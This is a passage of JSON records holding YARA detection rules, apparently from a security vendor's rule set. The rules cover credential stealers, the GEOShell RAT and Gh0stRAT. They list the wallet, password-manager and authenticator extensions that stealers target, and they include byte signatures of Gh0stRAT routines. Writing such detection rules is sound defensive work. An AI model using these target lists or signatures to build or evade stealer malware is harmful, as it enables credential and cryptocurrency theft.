   $wallet17 = \"Hashpack\" wide ascii\n        $wallet18 = \"Eternl\" wide ascii\n        $wallet19 = \"Pontem Aptos Wallet\" wide ascii\n        $wallet20 = \"Keeper Wallet\" wide ascii\n        $wallet21 = \"Finnie\" wide ascii\n        $wallet22 = \"Leap Terra Wallet\" wide ascii\n\n        $pass_manager0 = \"DashLane\" wide ascii\n        $pass_manager1 = \"NordPass\" wide ascii\n        $pass_manager2 = \"RoboForm\" wide ascii\n        $pass_manager3 = \"LastPass\" wide ascii\n        $pass_manager4 = \"BrowserPass\" wide ascii\n        $pass_manager5 = \"KeePass\" wide ascii\n        $pass_manager6 = \"EOS Authenticator\" wide ascii\n        $pass_manager7 = \"GAuth Authenticator\" wide ascii\n        $pass_manager8 = \"Trezor Password Manager\" wide ascii\n\n        // Cleaner or Browser Recovery Software for exclusion\n        $cleaner1 = \"wisecleaner.net/wisecleaner\" wide // WiseCare 365\n        $cleaner2 = \"<publisher_CI_F>AVAST Software</publisher_CI_F>\" ascii // AVG TuneUp\n        $cleaner3 = \"Lavasoft Software\" ascii\n\n        $av1 = \"Kaspersky Anti-Virus provides anti-virus services\" ascii\n        $av2 = \"ninjarmm agent\" ascii // NinjaRMM CLI\n        $av3 = \"corp_it@ninjarmm.com0\" ascii // NinjaRMM\n        $av4 = \"endpoint@mcafee_com\" ascii // mfeatp - McAfee\n        $av5 = \"SophosManagedEntityAdapter\" ascii // McsAgent - Sophos\n        $av6 = \"AdguardSvc.ProjectInstaller.resources\" ascii // AdGuard for Windows\n        $av7 = \"SSPService\" ascii // SSPService - Sophos\n        $av8 = \"C:\\\\orbit\\\\bin\\\\NinjaOrbit.pdb\" ascii // NinjaOrbit.exe\n\n        // HP\\Sure Click\\servers\\BrPrintHelper.exe\n        // 52c74aa37accdd1fc1978ee802b57ce8622a6d3547be14ca35dbd6c7f129b7d2\n        $exclusion1 = \"Printer DB version mismatch.  This build supports version\" ascii\n        // \\JetBrains\\PyCharm 2022.2.2\\bin\\pycharm64.exe\n        // 8612d0c3811f7cca0663f3dee64ac7ecb5e3d56497d3a62cd25314a36f3bc6ff\n        $exclusion2 = \"(c) by P.J. Plauger, licensed by Dinkumware\" ascii\n        // \\JetBrains\\PyCharm Community Edition 2023.3.3\\bin\\pycharm64.exe\n        // cd730b79e5e37366a8f410732f41c68ad9598d4b13a1dedd3a5fe5a037a15fba\n        $exclusion3 = \"Copyright (C) 2010-2024 JetBrains s.r.o.\" wide\n        // Google Chrome - chrome.exe\n        // f2ed18345f7b58f1e73cdf932ae8b22612484a4c234973b02b0bc6a205030aa7\n        $exclusion4 = \"CHROME_CRASHPAD_PIPE_NAME\" wide\n        // IOBit Update - rmuin.exe\n        // 87580b8b527e8324ab75923a48efd6dc90c23bab56b0e133a25ddea85d369e28\n        $exclusion5 = \"IObit\\\\IObit Uninstaller\\\\SHCatch.ini\" wide\n        // LogonUI.exe - MS\n        // cf01e46c146699f6c0e3dd447043f59bc9438dbbcb9563af6c60ebc6d82727f2\n        // $exclusion5 = \".text$lp00logonui.exe!20_pri7\" ascii fullword\n        // C:\\Program Files\\HP\\Sure Click\\servers\\BemSvc.exe\n        // 891089cd699f9a8106b3f5a3e6e0856c384c056649f2bb6265d651a19451d012\n        $exclusion6 = \"Unable to Sync NEO UI exclusion list with BemSvc as remediation manager is unavailable.\" ascii\n        $exclusion7 = \"BemSvc marked as started, but still setting up.\" ascii\n        $exclusion8 = \"AppID for BemSvc is registered successfully\" ascii\n        // C:\\Program Files (x86)\\Adguard\\Adguard.exe\n        // 4240e40c24a043e11c913af7a89239381f8fe72297b8bc0e37d5593882afd1e8\n        $exclusion9 = \"{0}/oauth/authorize?client_id=adguard-windows&response_type=token&state=OAuth&scope=trust&redirect_uri={1}&social_provider={2}\" wide\n        $exclusion10 = \"\\\\Program Files\\\\WindowsApps\\\\Microsoft.DesktopAppInstaller\" wide\n\n        $canary = \"fffff33160f45e5e576bf364c6d62a5a1c3cff46c320c82b3923b382457e74c42e5415c0d8cc367b24bea7e4de50f1a3acd31441ee8691e20a3597677a958971\"\n\n    condition:\n    (\n        all of ($windows_vault_guid*) or\n        all of ($mail_strings*) or\n        all of ($ftp_strings*) or\n        all of ($vnc*) or\n        (16 of ($browser*) and not 1 of ($cleaner*) and $user_data) or\n        12 of  ($crypto*) or\n        10 of  ($wallet*) or\n        6  of  ($pass_manager*)\n    )\n    and not 1 of ($av*)\n    and not 1 of ($exclusion*)\n    and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_stealer_strings"
+  ],
+  "rule_creation_date": "2023-11-23",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001",
+    "attack.t1555",
+    "attack.t1048.003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_stealers_extension_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575806Z",
+  "creation_date": "2026-03-23T11:46:25.575808Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575814Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0331/"
+  ],
+  "name": "generic_stealers_extension.yar",
+  "content": "rule generic_stealer_chrome {\n    meta:\n        title = \"Generic Malware Stealer Targeting Chrome\"\n        id = \"519970d8-b0d1-4c8a-abf4-26e811f73787\"\n        description = \"Detects a generic stealer targeting Chrome-based browsers.\\nThis rule identifies a potential stealer by detecting specific Chrome extensions' unique identifiers (UUIDs) that are known to be targeted by malicious actors. These extensions are often exploited to steal sensitive information such as browser credentials, payment details, and encrypted wallet information.\\nIt is recommended to isolate the affected system, investigate for any stolen credentials, and check the browser's data storage for signs of tampering.\"\n        references = \"https://attack.mitre.org/software/S0331/\"\n        date = \"2024-09-20\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555;attack.exfiltration\"\n        classification = \"Windows.Stealer.Generic\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s_extension_Authenticator=\"bhghoamapcdpbohphigoooaddinpkbai\" wide ascii\n        $s_extension_EOS_Authenticator=\"oeljdldpnmdbchonielidgobddffflal\" wide ascii\n        $s_extension_BrowserPass=\"naepdomgkenhinolocfifgehidddafch\" wide ascii\n        $s_extension_MYKI=\"bmikpgodpkclnkgmnpphehdgcimmided\" wide ascii\n        $s_extension_Splikity=\"jhfjfclepacoldmjmkmdlmganfaalklb\" wide ascii\n        $s_extension_CommonKey=\"chgfefjpcobfbnpmiokfjjaglahmnded\" wide ascii\n        $s_extension_Zoho_Vault=\"igkpcodhieompeloncfnbekccinhapdb\" wide ascii\n        $s_extension_Norton_Password_Manager=\"admmjipmmciaobhojoghlmleefbicajg\" wide ascii\n        $s_extension_Avira_Password_Manager=\"caljgklbbfbcjjanaijlacgncafpegll\" wide ascii\n        $s_extension_Trezor_Password_Manager=\"imloifkgjagghnncjkhggdhalmcnfklk\" wide ascii\n        $s_extension_MetaMask=\"nkbihfbeogaeaoehlefnkodbefgpgknn\" wide ascii\n        $s_extension_TronLink=\"ibnejdfjmmkpcnlpebklmnkoeoihofec\" wide ascii\n        $s_extension_BinanceChain=\"fhbohimaelbohpjbbldcngcnapndodjp\" wide ascii\n        $s_extension_Coin98=\"aeachknmefphepccionboohckonoeemg\" wide ascii\n        $s_extension_iWallet=\"kncchdigobghenbbaddojjnnaogfppfj\" wide ascii\n        $s_extension_Wombat=\"amkmjjmmflddogmhpjloimipbofnfjih\" wide ascii\n        $s_extension_NeoLine=\"cphhlgmgameodnhkjdmkpanlelnlohao\" wide ascii\n        $s_extension_Terra_Station=\"aiifbnbfobpmeekipheeijimdpnlpgpp\" wide ascii\n        $s_extension_Keplr=\"dmkamcknogkgcdfhhbddcghachkejeap\" wide ascii\n        $s_extension_Sollet=\"fhmfendgdocmcbmfikdcogofphimnkno\" wide ascii\n        $s_extension_ICONex=\"flpiciilemghbmfalicajoolhkkenfel\" wide ascii\n        $s_extension_KHC=\"hcflpincpppdclinealmandijcmnkbgn\" wide ascii\n        $s_extension_TezBox=\"mnfifefkajgofkcjkemidiaecocnkjeh\" wide ascii\n        $s_extension_Byone=\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\" wide ascii\n        $s_extension_OneKey=\"ilbbpajmiplgpehdikmejfemfklpkmke\" wide ascii\n        $s_extension_Trust_Wallets=\"pknlccmneadmjbkollckpblgaaabameg\" wide ascii\n        $s_extension_MetaWallet=\"pfknkoocfefiocadajpngdknmkjgakdg\" wide ascii\n        $s_extension_Guarda_Wallet=\"fcglfhcjfpkgdppjbglknafgfffkelnm\" wide ascii\n        $s_extension_Exodus=\"idkppnahnmmggbmfkjhiakkbkdpnmnon\" wide ascii\n        $s_extension_JaxxxLiberty=\"mhonjhhcgphdphdjcdoeodfdliikapmj\" wide ascii\n        $s_extension_Atomic_Wallet=\"bhmlbgebokamljgnceonbncdofmmkedg\" wide ascii\n        $s_extension_Electrum=\"hieplnfojfccegoloniefimmbfjdgcgp\" wide ascii\n        $s_extension_Mycelium=\"pidhddgciaponoajdngciiemcflpnnbg\" wide ascii\n        $s_extension_Coinomi=\"blbpgcogcoohhngdjafgpoagcilicpjh\" wide ascii\n        $s_extension_GreenAddress=\"gflpckpfdgcagnbdfafmibcmkadnlhpj\" wide ascii\n        $s_extension_Edge=\"doljkehcfhidippihgakcihcmnknlphh\" wide ascii\n        $s_extension_BRD=\"nbokbjkelpmlgflobbohapifnnenbjlh\" wide ascii\n        $s_extension_Samourai_Wallet=\"apjdnokplgcjkejimjdfjnhmjlbpgkdi\" wide ascii\n        $s_extension_Copay=\"ieedgmmkpkbiblijbbldefkomatsuahh\" wide ascii\n        $s_extension_Bread=\"jifanbgejlbcmhbbdbnfbfnlmbomjedj\" wide ascii\n        $s_extension_KeepKey=\"dojmlmceifkfgkgeejemfciibjehhdcl\" wide ascii\n        $s_extension_Trezor=\"jpxupxjxheguvfyhfhahqvxvyqthiryh\" wide ascii\n        $s_extension_Ledger_Live=\"pfkcfdjnlfjcmkjnhcbfhfkkoflnhjln\" wide ascii\n        $s_extension_Ledger_Wallet=\"hbpfjlflhnmkddbjdchbbifhllgmmhnm\" wide ascii\n        $s_extension_Bitbox=\"ocmfilhakdbncmojmlbagpkjfbmeinbd\" wide ascii\n        $s_extension_Digital_Bitbox=\"dbhklojmlkgmpihhdooibnmidfpeaing\" wide ascii\n        $s_extension_YubiKey=\"mammpjaaoinfelloncbbpomjcihbkmmc\" wide ascii\n        $s_extension_Google_Authenticator=\"khcodhlfkpmhibicdjjblnkgimdepgnd\" wide ascii\n        $s_extension_Microsoft_Authenticator=\"bfbdnbpibgndpjfhonkflpkijfapmomn\" wide ascii\n        $s_extension_Authy=\"gjffdbjndmcafeoehgdldobgjmlepcal\" wide ascii\n        $s_extension_Duo_Mobile=\"eidlicjlkaiefdbgmdepmmicpbggmhoj\" wide ascii\n        $s_extension_OTP_Auth=\"bobfejfdlhnabgglompioclndjejolch\" wide ascii\n        $s_extension_FreeOTP=\"elokfmmmjbadpgdjmgglocapdckdcpkn\" wide ascii\n        $s_extension_Aegis_Authenticator=\"ppdjlkfkedmidmclhakfncpfdmdgmjpm\" wide ascii\n        $s_extension_LastPass_Authenticator=\"cfoajccjibkjhbdjnpkbananbejpkkjb\" wide ascii\n        $s_extension_Dashlane=\"flikjlpgnpcjdienoojmgliechmmheek\" wide ascii\n        $s_extension_Keeper=\"gofhklgdnbnpcdigdgkgfobhhghjmmkj\" wide ascii\n        $s_extension_RoboForm=\"hppmchachflomkejbhofobganapojjol\" wide ascii\n        $s_extension_KeePass=\"lbfeahdfdkibininjgejjgpdafeopflb\" wide ascii\n        $s_extension_KeePassXC=\"kgeohlebpjgcfiidfhhdlnnkhefajmca\" wide ascii\n        $s_extension_Bitwarden=\"inljaljiffkdgmlndjkdiepghpolcpki\" wide ascii\n        $s_extension_NordPass=\"njgnlkhcjgmjfnfahdmfkalpjcneebpl\" wide ascii\n        $s_extension_LastPass=\"gabedfkgnbglfbnplfpjddgfnbibkmbb\" wide ascii\n        $s_extension_Nifty_Wallet=\"jbdaocneiiinmjbjlgalhcelgbejmnid\" wide ascii\n        $s_extension_Math_Wallet=\"afbcbjpbpfadlkmhmclhkeeodmamcflc\" wide ascii\n        $s_extension_Coinbase_Wallet=\"hnfanknocfeofbddgcijnmhnfnkdnaad\" wide ascii\n        $s_extension_Equal_Wallet=\"blnieiiffboillknjnepogjhkgnoac\" wide ascii\n        $s_extension_EVER_Wallet=\"cgeeodpfagjceefieflmdfphplkenlfk\" wide ascii\n        $s_extension_Jaxx_Liberty=\"ocefimbphcgjaahbclemolcmkeanoagc\" wide ascii\n        $s_extension_BitApp_Wallet=\"fihkakfobkmkjojpchpfgcmhfjnmnfpi\" wide ascii\n        $s_extension_Mew_CX=\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\" wide ascii\n        $s_extension_GU_Wallet=\"nfinomegcaccbhchhgflladpfbajihdf\" wide ascii\n        $s_extension_Guild_Wallet=\"nanjmdkhkinifnkgdeggcnhdaammmj\" wide ascii\n        $s_extension_Saturn_Wallet=\"nkddgncdjgifcddamgcmfnlhccnimig\" wide ascii\n        $s_extension_Harmony_Wallet=\"fnnegphlobjdpkhecapkijjdkgcjhkib\" wide ascii\n        $s_extension_TON_Wallet=\"nphplpgoakhhjchkkhmiggakijnkhfnd\" wide ascii\n        $s_extension_OpenMask_Wallet=\"penjlddjkjgpnkllboccdgccekpkcbin\" wide ascii\n        $s_extension_MyTonWallet=\"fldfpgipfncgndfolcbkdeeknbbbnhcc\" wide ascii\n        $s_extension_DeWallet=\"pnccjgokhbnggghddhahcnaopgeipafg\" wide ascii\n        $s_extension_TrustWallet=\"egjidjbpglichdcondbcbdnbeeppgdph\" wide ascii\n        $s_extension_NC_Wallet=\"imlcamfeniaidioeflifonfjeeppblda\" wide ascii\n        $s_extension_Moso_Wallet=\"ajkifnllfhikkjbjopkhmjoieikeihjb\" wide ascii\n        $s_extension_Enkrypt_Wallet=\"kkpllkodjeloidieedojogacfhpaihoh\" wide ascii\n        $s_extension_CirusWeb3_Wallet=\"kgdijkcfiglijhaglibaidbipiejjfdp\" wide ascii\n        $s_extension_Martian_and_Sui_Wallet=\"efbglgofoippbgcjepnhiblaibcnclgk\" wide ascii\n        $s_extension_SubWallet=\"onhogfjeacnfoofkfgppdlbmlmnplgbn\" wide ascii\n        $s_extension_Pontem_Wallet=\"phkbamefinggmakgklpkljjmgibohnba\" wide ascii\n        $s_extension_Talisman_Wallet=\"fijngjgcjhjmmpcmkeiomlglpeiijkld\" wide ascii\n        $s_extension_Kardiachain_Wallet=\"pdadjkfkgcafgbceimcpbkalnfnepbnk\" wide ascii\n        $s_extension_Phantom_Wallet=\"bfnaelmomeimhIpmgjnjophhpkkoljpa\" wide ascii\n        $s_extension_Oxygen_Wallet=\"fhilaheimglignddjgofkcbgekhenbh\" wide ascii\n        $s_extension_PaliWallet=\"mgfffbidihjpoaomajlbgchddlicgpn\" wide ascii\n        $s_extension_BoltX_Wallet=\"aodkkagnadcbobfpggnjeongemjbjca\" wide ascii\n        $s_extension_Liquality_Wallet=\"kpopkelmapcoipemfendmdghnegimn\" wide ascii\n        $s_extension_xDefi_Wallet=\"hmeobnffcmdkdcmlb1gagmfpfboieaf\" wide ascii\n        $s_extension_Nami_Wallet=\"Ipfcbjknijpeeillifnkikgncikgfhdo\" wide ascii\n        $s_extension_MaiarDeFi_Wallet=\"dngmlblcodfobpdpecaadgfbeggfjfnm\" wide ascii\n        $s_extension_MetaMask_Edge_Wallet=\"ejbalbakoplchlghecdalmeeeajnimhm\" wide ascii\n        $s_extension_Goblin_Wallet=\"mlbafbjadjidk1bhgopoamemfibcpdfi\" wide ascii\n        $s_extension_Braavos_Smart_Wallet=\"jnlgamecbpmbajjfhmmmlhejkemejdma\" wide ascii\n        $s_extension_UniSat_Wallet=\"ppbibelpcjmhbdihakflkdcoccbgbkpo\" wide ascii\n        $s_extension_OKX_Wallet=\"mcohilncbfahbmgdjkbpemcciiolgcge\" wide ascii\n        $s_extension_Manta_Wallet=\"enabgbdfcbaehmbigakijjabdpdnimlg\" wide ascii\n        $s_extension_Suku_Wallet=\"fopmedgnkfpebgllppeddmmochcookhc\" wide ascii\n        $s_extension_Suiet_Wallet=\"khpkpbbcccdmmclmpigdgddabeilkdpd\" wide ascii\n        $s_extension_Koala_Wallet=\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\" wide ascii\n        $s_extension_ExodusWeb3_Wallet=\"aholpfdialjgjfhomihkjbmgjidlcdno\" wide ascii\n        $s_extension_Aurox_Wallet=\"kilnpioakcdndlodeeceffgjdpojajlo\" wide ascii\n        $s_extension_Fewcha_Move_Wallet=\"ebfidpplhabeedpnhjnobghokpiioolj\" wide ascii\n        $s_extension_Carax_Demon_Wallet=\"mdjmfdffdcmnoblignmgpommbefadffd\" wide ascii\n        $s_extension_Leap_Terra_Wallet=\"aijcbedoijmgnlmjeegjaglmepbmpkpi\" wide ascii\n\n        $s_edge00 = \"msedge.dll\" fullword\n        $s_edge01 = \"msedge.dll.pdb\" fullword\n\n        $s_filter_avg=\"AVG Technologies USA, LLC\"\n        $s_filter_avast=\"Avast Software s.r.o.\"\n        $s_filter_bitdefender=\"Bitdefender SRL\"\n        $s_filter_eset=\"ESET, spol. s r.o.\"\n        $s_filter_norton=\"NortonLifeLock Inc.\"\n\n    condition:\n            20 of ($s_extension*)\n            and not all of ($s_edge*)\n            and not 1 of ($s_filter*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_stealer_chrome"
+  ],
+  "rule_creation_date": "2024-09-20",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-geoshell_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573975Z",
+  "creation_date": "2026-03-23T11:46:25.573979Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573988Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/groups/G1002/\nhttps://x.com/ginkgo_g/status/1900079709444333812"
+  ],
+  "name": "geoshell.yar",
+  "content": "import \"pe\"\n\nrule geoshell {\n    meta:\n        title = \"GEOShell RAT\"\n        id = \"4d852295-d339-4974-80b7-3012b3fd5b36\"\n        description = \"Detects the GEOShell remote access tool.\\nGEOShell is a .NET-based remote access tool reportedly used by the MysteriousElephant APT group (also known as Bitter) to infiltrate and control compromised systems. The tool is part of the group's evolving toolkit targeting entities in South Asia, leveraging spear-phishing and malicious payloads for initial access.\\nIt is recommended to investigate the context around this alert to look for signs of malicious activity.\"\n        references = \"https://attack.mitre.org/groups/G1002/\\nhttps://x.com/ginkgo_g/status/1900079709444333812\"\n        date = \"2025-03-13\"\n        modified = \"2025-06-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.g1002;attack.command_and_control;attack.t1573\"\n        classification = \"Windows.Trojan.GEOShell\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1fb0ede8086c6487be2b2a01458f6b58687085140227491895ea6f0f6634b4ba\n        // 303bc4bce9555b02d9b1c0b96eb5736561d70fca3b994b353db2cc1b2eca66ca\n        // 416a747cc56bf0704173934117be424d0919c8770891018766b37562e598493c\n        // 511cc667d3793848ec162286310a60137a87e5ac7f08770536435f7c4bd89eae\n        // ac44b8ecb06055744c9478e2ae2ba66fd52cf0c8ecb8411cc4d0ddd73d0a537c\n\n        $s1 = \"<RegionName>k__BackingField\" ascii fullword\n        $s2 = \"<Isp>k__BackingField\" ascii fullword\n        $s3 = \"get_IV\" ascii fullword\n        $s4 = \"get_RequestId\" ascii fullword\n        $s5 = \"get_MachineName\" ascii fullword\n        $s6 = \"get_Isp\" ascii fullword\n        $s7 = \"get_Client\" ascii fullword\n\n    condition:\n        pe.imports (\"mscoree.dll\",\"_CorExeMain\") and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "geoshell"
+  ],
+  "rule_creation_date": "2025-03-13",
+  "rule_modified_date": "2025-06-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.GEOShell"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gh0strat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573928Z",
+  "creation_date": "2026-03-23T11:46:25.573931Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573937Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat\nhttps://attack.mitre.org/software/S0032/"
+  ],
+  "name": "gh0strat.yar",
+  "content": "rule gh0strat {\n    meta:\n        title = \"Gh0stRAT\"\n        id = \"e4ccabcb-cb5a-4016-bcda-df0443b86232\"\n        description = \"Detects Gh0stRAT, also named Farfli, a remote access tool used by various threat actors.\\nGh0stRAT is a remote access tool (RAT) that allows attackers to remotely control infected systems. The malware is known for its modular architecture and ability to perform various malicious activities, including keylogging, screen capturing, file theft, and process injection. The public availability of its source code has led to multiple variants and widespread use in cyberattacks.\\nIt is recommended to isolate the affected system and investigate for additional malicious actions on the host.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat\\nhttps://attack.mitre.org/software/S0032/\"\n        date = \"2024-05-28\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0032;attack.discovery;attack.t1082;attack.defense_evasion;attack.t1140;attack.collection;attack.t1113;attack.t1056.001;attack.command_and_control;attack.t1132.001;attack.t1573\"\n        classification = \"Windows.Trojan.Gh0stRAT\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6c1bac5c2984d8554148521de72d6bfa40a619d8afa8c3b9d964456177745bb4\n        // ffd1cd414eda06cbc6b747d3d300cf3feb15fccbc08c4149cede59eac8494b4d\n        // f03dfe846ec60fdfef47c03ac679c741b0a4cca600b3893879ed3ce81e6feaaf\n        // fff92d7556148a1c8b3f2a88ad3a3de368c8eaeb6bd19faf0ac6252f2ad66277\n\n        $s1 = \"\\\\\\\\.\\\\PHYSICALDRIVE0\" ascii fullword\n        $s2 = \"[%s]\" ascii fullword\n        $s3 = \"WinSta0\\\\Default\" ascii fullword\n        $s4 = \"%-24s %-15s 0x%x(%d)\" ascii fullword\n        $s5 = \"ICSeqCompressFrameStart\" ascii fullword\n        $s6 = \"HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\" ascii fullword\n\n        // unsigned char scode[] =\n        $x_code = {\n            B8 12 00 CD 10 BD 18 7C B9 18 00 B8 01 13 BB 0C\n            00 BA 1D 0E CD 10 E2 FE\n        }\n\n        // bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)\n        $x_connect1 = {\n            8D ?? ?? ??                                   // lea     edx, [esp+40h+vInBuffer]\n            6A 0C                                         // push    0Ch             ; cbInBuffer\n            5?                                            // push    edx             ; lpvInBuffer\n            68 04 00 00 98                                // push    98000004h       ; dwIoControlCode\n            5?                                            // push    eax             ; s\n            [4-8]                                         // mov     [esp+50h+vInBuffer], 1\n            C7 ?? ?? ?? 20 BF 02 00                       // mov     [esp+50h+var_18], 2BF20h\n            C7 ?? ?? ?? 88 13 00 00                       // mov     [esp+50h+var_14], 1388h\n            FF                                            // call    ds:WSAIoctl\n        }\n        $x_connect2 = {\n            6A 0C                                         // push    0Ch\n            50                                            // push    eax\n            68 04 00 00 98                                // push    98000004h\n            FF B6 A8 00 00 00                             // push    dword ptr [esi+0A8h]\n            89 ?? ??                                      // mov     [ebp+var_4C], edi\n            C7 ?? ?? 30 75 00 00                          // mov     [ebp+var_48], 7530h\n            C7 ?? ?? 88 13 00 00                          // mov     [ebp+var_44], 1388h\n            FF                                            // call    [ebp+var_24]\n        }\n\n        // DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)\n        $x_control_thread1 = {\n            A0 ?? ?? ?? 10                                // mov     al, byte_101306AC\n            84 C0                                         // test    al, al\n            74 24                                         // jz      short loc_1000BCB0\n            6A 00                                         // push    0               ; fWinIni\n            6A 00                                         // push    0               ; pvParam\n            6A 00                                         // push    0               ; uiParam\n            6A 56                                         // push    56h ; 'V'       ; uiAction\n            FF ??                                         // call    esi ; SystemParametersInfoA\n            6A FF                                         // push    0FFFFFFFFh      ; lParam\n            68 70 F1 00 00                                // push    0F170h          ; wParam\n            68 12 01 00 00                                // push    112h            ; Msg\n            68 FF FF 00 00                                // push    0FFFFh          ; hWnd\n            FF ??                                         // call    edi ; SendMessageA\n            C6 05 ?? ?? ?? ?? 00                          // mov     byte_101306AC, 0\n        }\n        $x_control_thread2 = {\n            BB 70 F1 00 00                                // mov     ebx, 0F170h\n            BF 12 01 00 00                                // mov     edi, 112h\n            BE FF FF 00 00                                // mov     esi, 0FFFFh\n\n                                        // loc_406DDE:\n            83 65 FC 00                                   // and     [ebp+var_4], 0\n\n                                        // loc_406DE2:\n            8B 4D 08                                      // mov     ecx, [ebp+arg_0]\n            E8                                            // call    sub_406343\n        }\n\n        $x_service_main = {\n            57                                            // push    edi\n            FF 15 ?? ?? ?? ??                             // call    ds:FreeConsole\n            6A 01                                         // push    1\n            6A 00                                         // push    0\n            6A 02                                         // push    2\n            E8 ?? ?? 00 00                                // call    sub_10008E60\n            6A 00                                         // push    0\n            6A 00                                         // push    0\n            6A 04                                         // push    4\n            E8 ?? ?? 00 00                                // call    sub_10008E60\n            6A 00                                         // push    0               ; char\n            6A 00                                         // push    0               ; ThrdAddr\n            6A 00                                         // push    0               ; InitFlag\n            68 ?? ?? ?? ??                                // push    offset ServiceName ; int\n            68 ?? ?? ?? ??                                // push    offset sub_10008FA0 ; int\n            6A 00                                